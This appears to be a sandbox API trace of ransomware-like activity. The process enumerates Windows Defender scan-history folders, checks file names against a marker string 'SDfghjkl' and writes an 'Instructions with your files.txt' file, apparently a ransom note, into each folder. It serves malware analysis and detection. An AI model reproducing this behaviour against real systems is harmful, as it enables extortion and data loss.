[0124.727] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7690f9e4, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x244fb42, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0124.728] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\.") returned 61
[0124.728] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7690f9e4, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x244fb42, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0124.728] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\..") returned 62
[0124.728] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x76b24d28, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xcfc0a7e0, ftLastAccessTime.dwHighDateTime=0x1d2faf9, ftLastWriteTime.dwLowDateTime=0xcfc0a7e0, ftLastWriteTime.dwHighDateTime=0x1d2faf9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CacheManager", cAlternateFileName="CACHEM~1")) returned 1
[0124.728] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager") returned 72
[0124.728] GetProcessHeap () returned 0x810000
[0124.728] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x89ac08
[0124.728] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\*") returned 74
[0124.728] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x76b24d28, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xcfc0a7e0, ftLastAccessTime.dwHighDateTime=0x1d2faf9, ftLastWriteTime.dwLowDateTime=0xcfc0a7e0, ftLastWriteTime.dwHighDateTime=0x1d2faf9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0124.728] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\.") returned 74
[0124.728] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x76b24d28, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xcfc0a7e0, ftLastAccessTime.dwHighDateTime=0x1d2faf9, ftLastWriteTime.dwLowDateTime=0xcfc0a7e0, ftLastWriteTime.dwHighDateTime=0x1d2faf9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0124.728] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\..") returned 75
[0124.728] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcfc0a7e0, ftCreationTime.dwHighDateTime=0x1d2faf9, ftLastAccessTime.dwLowDateTime=0xcfc0a7e0, ftLastAccessTime.dwHighDateTime=0x1d2faf9, ftLastWriteTime.dwLowDateTime=0xcfc30940, ftLastWriteTime.dwHighDateTime=0x1d2faf9, nFileSizeHigh=0x0, nFileSizeLow=0x33b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpSfc.bin", cAlternateFileName="")) returned 1
[0124.728] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\MpSfc.bin") returned 82
[0124.728] StrStrIW (lpFirst="MpSfc.bin", lpSrch="SDfghjkl") returned 0x0
[0124.728] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcfc0a7e0, ftCreationTime.dwHighDateTime=0x1d2faf9, ftLastAccessTime.dwLowDateTime=0xcfc0a7e0, ftLastAccessTime.dwHighDateTime=0x1d2faf9, ftLastWriteTime.dwLowDateTime=0xcfc30940, ftLastWriteTime.dwHighDateTime=0x1d2faf9, nFileSizeHigh=0x0, nFileSizeLow=0x33b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpSfc.bin", cAlternateFileName="")) returned 0
[0124.728] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\Instructions with your files.txt") returned 105
[0124.728] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\cachemanager\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0124.729] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0124.729] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0124.729] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0124.730] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0124.730] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0124.730] CloseHandle (hObject=0x118) returned 1
[0124.730] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0124.730] GetProcessHeap () returned 0x810000
[0124.730] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x89ac08 | out: hHeap=0x810000) returned 1
[0124.730] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xa13d69d0, ftLastAccessTime.dwHighDateTime=0x1d2dda3, ftLastWriteTime.dwLowDateTime=0xa13d69d0, ftLastWriteTime.dwHighDateTime=0x1d2dda3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Results", cAlternateFileName="")) returned 1
[0124.730] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results") returned 67
[0124.730] GetProcessHeap () returned 0x810000
[0124.730] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x89ac08
[0124.730] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results\\*") returned 69
[0124.730] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xa13d69d0, ftLastAccessTime.dwHighDateTime=0x1d2dda3, ftLastWriteTime.dwLowDateTime=0xa13d69d0, ftLastWriteTime.dwHighDateTime=0x1d2dda3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0124.730] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results\\.") returned 69
[0124.730] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xa13d69d0, ftLastAccessTime.dwHighDateTime=0x1d2dda3, ftLastWriteTime.dwLowDateTime=0xa13d69d0, ftLastWriteTime.dwHighDateTime=0x1d2dda3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0124.730] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results\\..") returned 70
[0124.730] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa13d69d0, ftCreationTime.dwHighDateTime=0x1d2dda3, ftLastAccessTime.dwLowDateTime=0x80be8ad0, ftLastAccessTime.dwHighDateTime=0x1d33740, ftLastWriteTime.dwLowDateTime=0x80be8ad0, ftLastWriteTime.dwHighDateTime=0x1d33740, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resource", cAlternateFileName="")) returned 1
[0124.730] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource") returned 76
[0124.730] GetProcessHeap () returned 0x810000
[0124.730] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8abc18
[0124.732] wnsprintfW (in: pszDest=0x8abc18, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource\\*") returned 78
[0124.732] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa13d69d0, ftCreationTime.dwHighDateTime=0x1d2dda3, ftLastAccessTime.dwLowDateTime=0x80be8ad0, ftLastAccessTime.dwHighDateTime=0x1d33740, ftLastWriteTime.dwLowDateTime=0x80be8ad0, ftLastWriteTime.dwHighDateTime=0x1d33740, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0124.732] wnsprintfW (in: pszDest=0x8abc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource\\.") returned 78
[0124.732] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa13d69d0, ftCreationTime.dwHighDateTime=0x1d2dda3, ftLastAccessTime.dwLowDateTime=0x80be8ad0, ftLastAccessTime.dwHighDateTime=0x1d33740, ftLastWriteTime.dwLowDateTime=0x80be8ad0, ftLastWriteTime.dwHighDateTime=0x1d33740, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0124.732] wnsprintfW (in: pszDest=0x8abc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource\\..") returned 79
[0124.732] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80be8ad0, ftCreationTime.dwHighDateTime=0x1d33740, ftLastAccessTime.dwLowDateTime=0x80be8ad0, ftLastAccessTime.dwHighDateTime=0x1d33740, ftLastWriteTime.dwLowDateTime=0x81085570, ftLastWriteTime.dwHighDateTime=0x1d33740, nFileSizeHigh=0x0, nFileSizeLow=0x1a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}", cAlternateFileName="{1D1DB~1")) returned 1
[0124.732] wnsprintfW (in: pszDest=0x8abc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource\\{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}") returned 115
[0124.732] StrStrIW (lpFirst="{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}", lpSrch="SDfghjkl") returned 0x0
[0124.732] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80be8ad0, ftCreationTime.dwHighDateTime=0x1d33740, ftLastAccessTime.dwLowDateTime=0x80be8ad0, ftLastAccessTime.dwHighDateTime=0x1d33740, ftLastWriteTime.dwLowDateTime=0x81085570, ftLastWriteTime.dwHighDateTime=0x1d33740, nFileSizeHigh=0x0, nFileSizeLow=0x1a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}", cAlternateFileName="{1D1DB~1")) returned 0
[0124.732] wnsprintfW (in: pszDest=0x8abc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource\\Instructions with your files.txt") returned 109
[0124.732] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\results\\resource\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0124.737] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0124.738] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0124.738] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0124.738] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0124.738] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0124.739] CloseHandle (hObject=0x11c) returned 1
[0124.739] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0124.739] GetProcessHeap () returned 0x810000
[0124.739] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8abc18 | out: hHeap=0x810000) returned 1
[0124.739] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa13d69d0, ftCreationTime.dwHighDateTime=0x1d2dda3, ftLastAccessTime.dwLowDateTime=0x80be8ad0, ftLastAccessTime.dwHighDateTime=0x1d33740, ftLastWriteTime.dwLowDateTime=0x80be8ad0, ftLastWriteTime.dwHighDateTime=0x1d33740, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resource", cAlternateFileName="")) returned 0
[0124.739] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Instructions with your files.txt") returned 100
[0124.739] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\results\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0124.739] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0124.740] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0124.740] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0124.740] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0124.740] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0124.740] CloseHandle (hObject=0x118) returned 1
[0124.740] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0124.740] GetProcessHeap () returned 0x810000
[0124.740] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x89ac08 | out: hHeap=0x810000) returned 1
[0124.741] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x769ce0c6, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xb9820270, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb9820270, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Service", cAlternateFileName="")) returned 1
[0124.741] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service") returned 67
[0124.741] GetProcessHeap () returned 0x810000
[0124.741] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x89ac08
[0124.741] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\*") returned 69
[0124.741] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x769ce0c6, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xb9820270, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb9820270, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0124.961] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\.") returned 69
[0124.967] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x769ce0c6, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xb9820270, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb9820270, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0124.970] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\..") returned 70
[0124.972] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb9820270, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb9820270, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x7de6c9b0, ftLastWriteTime.dwHighDateTime=0x1d3373d, nFileSizeHigh=0x0, nFileSizeLow=0x2, dwReserved0=0x0, dwReserved1=0x0, cFileName="History.Log", cAlternateFileName="")) returned 1
[0124.976] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\History.Log") returned 79
[0124.978] StrStrIW (lpFirst="History.Log", lpSrch="SDfghjkl") returned 0x0
[0124.983] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xadeed740, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xadeed740, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d35ace0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x1a86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Unknown.Log", cAlternateFileName="")) returned 1
[0124.987] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\Unknown.Log") returned 79
[0124.988] StrStrIW (lpFirst="Unknown.Log", lpSrch="SDfghjkl") returned 0x0
[0124.990] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xadeed740, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xadeed740, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d35ace0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x1a86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Unknown.Log", cAlternateFileName="")) returned 0
[0124.992] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\Instructions with your files.txt") returned 100
[0124.995] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\service\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0125.023] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0125.196] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0125.205] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0125.215] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0125.226] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
